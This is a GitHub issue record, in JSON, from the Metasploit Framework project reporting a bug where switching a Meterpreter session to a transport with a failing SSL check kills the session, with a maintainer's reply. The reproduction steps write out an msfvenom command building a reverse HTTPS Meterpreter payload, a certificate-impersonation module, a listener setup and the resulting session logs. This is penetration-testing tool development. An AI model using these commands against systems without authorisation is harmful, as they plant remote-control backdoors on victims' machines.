{"action":"created","issue":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5661","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5661/labels{/name}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5661/comments","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5661/events","html_url":"https://github.com/rapid7/metasploit-framework/issues/5661","id":92985377,"number":5661,"title":"Transport switch kills session if SSL check fails","user":{"login":"Slurpgeit","id":711615,"avatar_url":"https://avatars.githubusercontent.com/u/711615?v=3","gravatar_id":"","url":"https://api.github.com/users/Slurpgeit","html_url":"https://github.com/Slurpgeit","followers_url":"https://api.github.com/users/Slurpgeit/followers","following_url":"https://api.github.com/users/Slurpgeit/following{/other_user}","gists_url":"https://api.github.com/users/Slurpgeit/gists{/gist_id}","starred_url":"https://api.github.com/users/Slurpgeit/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Slurpgeit/subscriptions","organizations_url":"https://api.github.com/users/Slurpgeit/orgs","repos_url":"https://api.github.com/users/Slurpgeit/repos","events_url":"https://api.github.com/users/Slurpgeit/events{/privacy}","received_events_url":"https://api.github.com/users/Slurpgeit/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/bug","name":"bug","color":"e11d21"},{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/meterpreter","name":"meterpreter","color":"5319e7"}],"state":"open","locked":false,"assignee":{"login":"OJ","id":28896,"avatar_url":"https://avatars.githubusercontent.com/u/28896?v=3","gravatar_id":"","url":"https://api.github.com/users/OJ","html_url":"https://github.com/OJ","followers_url":"https://api.github.com/users/OJ/followers","following_url":"https://api.github.com/users/OJ/following{/other_user}","gists_url":"https://api.github.com/users/OJ/gists{/gist_id}","starred_url":"https://api.github.com/users/OJ/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/OJ/subscriptions","organizations_url":"https://api.github.com/users/OJ/orgs","repos_url":"https://api.github.com/users/OJ/repos","events_url":"https://api.github.com/users/OJ/events{/privacy}","received_events_url":"https://api.github.com/users/OJ/received_events","type":"User","site_admin":false},"milestone":null,"comments":6,"created_at":"2015-07-04T07:54:08Z","updated_at":"2015-09-24T21:47:33Z","closed_at":null,"body":"It seems that the meterpreter session is killed (or made unusable) if you try to switch transports to a transport where the SSL check is enabled, but fails. To reproduce:\r\n\r\n**Generate a payload**\r\n```\r\nmsfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.200 LPORT=443 -f psh-cmd -o meterpreter.bat\r\n```\r\n\r\n**Generate a PEM file**\r\n```\r\nuse auxiliary/gather/impersonate_ssl\r\nset RHOST www.google.com\r\nrun\r\n```\r\n\r\n**Start the handler**\r\n```\r\nuse exploit/multi/handler\r\nset payload windows/x64/meterpreter/reverse_https\r\nset LHOST 192.168.1.200    # Change this obviously\r\nset LPORT 443\r\nset ExitOnSession false\r\nrun -j\r\n```\r\n\r\n**Add a new transport with SSL verification and switch to it**\r\n```\r\nsessions -i 1\r\ntransport add -c /home/user/.msf4/loot/20150704093723_default_74.125.136.147_www.google.com_p_122492.pem -to 15 -l 192.168.1.200 -p 443 -t reverse_https\r\ntransport next\r\n```\r\n\r\n**This is the msfconsole output**\r\n```\r\nmeterpreter > transport next\r\n[*] Changing to next transport ...\r\n\r\n[*] 192.168.1.209:49190 (UUID: 643ed57eda09d62c/x86_64=2/windows=1/2015-07-04T07:39:50Z) Attaching orphaned/stageless session ...\r\n[+] Successfully changed to the next transport, killing current session.\r\n\r\n[*] 192.168.1.209 - Meterpreter session 1 closed.  Reason: User exit\r\nmsf exploit(handler) > [*] Meterpreter session 2 opened (192.168.1.200:443 -> 192.168.1.209:49190) at 2015-07-04 09:43:48 +0200\r\n\r\n[-] Meterpreter session 2 is not valid and will be closed\r\n[*] 192.168.1.209 - Meterpreter session 2 closed.\r\n```\r\n*On the target system, powershell.exe is killed, session never returns*\r\n\r\n**If you migrate to a new process first**\r\n```\r\nsessions -i 3\r\nrun post/windows/manage/migrate\r\ntransport add -c /home/user/.msf4/loot/20150704093723_default_74.125.136.147_www.google.com_p_122492.pem -to 15 -l 192.168.1.200 -p 443 -t reverse_https\r\ntransport next\r\n```\r\n\r\n**This happens**\r\n```\r\nmeterpreter > transport next\r\n[*] Changing to next transport ...\r\n\r\n[*] 192.168.1.209:49193 (UUID: 643ed57eda09d62c/x86_64=2/windows=1/2015-07-04T07:39:50Z) Attaching orphaned/stageless session ...\r\n[+] Successfully changed to the next transport, killing current session.\r\n\r\n[*] 192.168.1.209 - Meterpreter session 3 closed.  Reason: User exit\r\nmsf exploit(handler) > [*] Meterpreter session 4 opened (192.168.1.200:443 -> 192.168.1.209:49193) at 2015-07-04 09:46:01 +0200\r\n\r\n[-] Meterpreter session 4 is not valid and will be closed\r\n[*] 192.168.1.209 - Meterpreter session 4 closed.\r\n```\r\n*notepad.exe keeps running on the target, but the session never returns*"},"comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/143059309","html_url":"https://github.com/rapid7/metasploit-framework/issues/5661#issuecomment-143059309","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5661","id":143059309,"user":{"login":"hmoore-r7","id":1171392,"avatar_url":"https://avatars.githubusercontent.com/u/1171392?v=3","gravatar_id":"","url":"https://api.github.com/users/hmoore-r7","html_url":"https://github.com/hmoore-r7","followers_url":"https://api.github.com/users/hmoore-r7/followers","following_url":"https://api.github.com/users/hmoore-r7/following{/other_user}","gists_url":"https://api.github.com/users/hmoore-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/hmoore-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hmoore-r7/subscriptions","organizations_url":"https://api.github.com/users/hmoore-r7/orgs","repos_url":"https://api.github.com/users/hmoore-r7/repos","events_url":"https://api.github.com/users/hmoore-r7/events{/privacy}","received_events_url":"https://api.github.com/users/hmoore-r7/received_events","type":"User","site_admin":false},"created_at":"2015-09-24T21:47:33Z","updated_at":"2015-09-24T21:47:33Z","body":"Keep trying, because the network issue could be temporary (SSL mitm on WiFi, but not on a different network if they move to it). Moving to the next transport makes sense, but not shutting down early."}}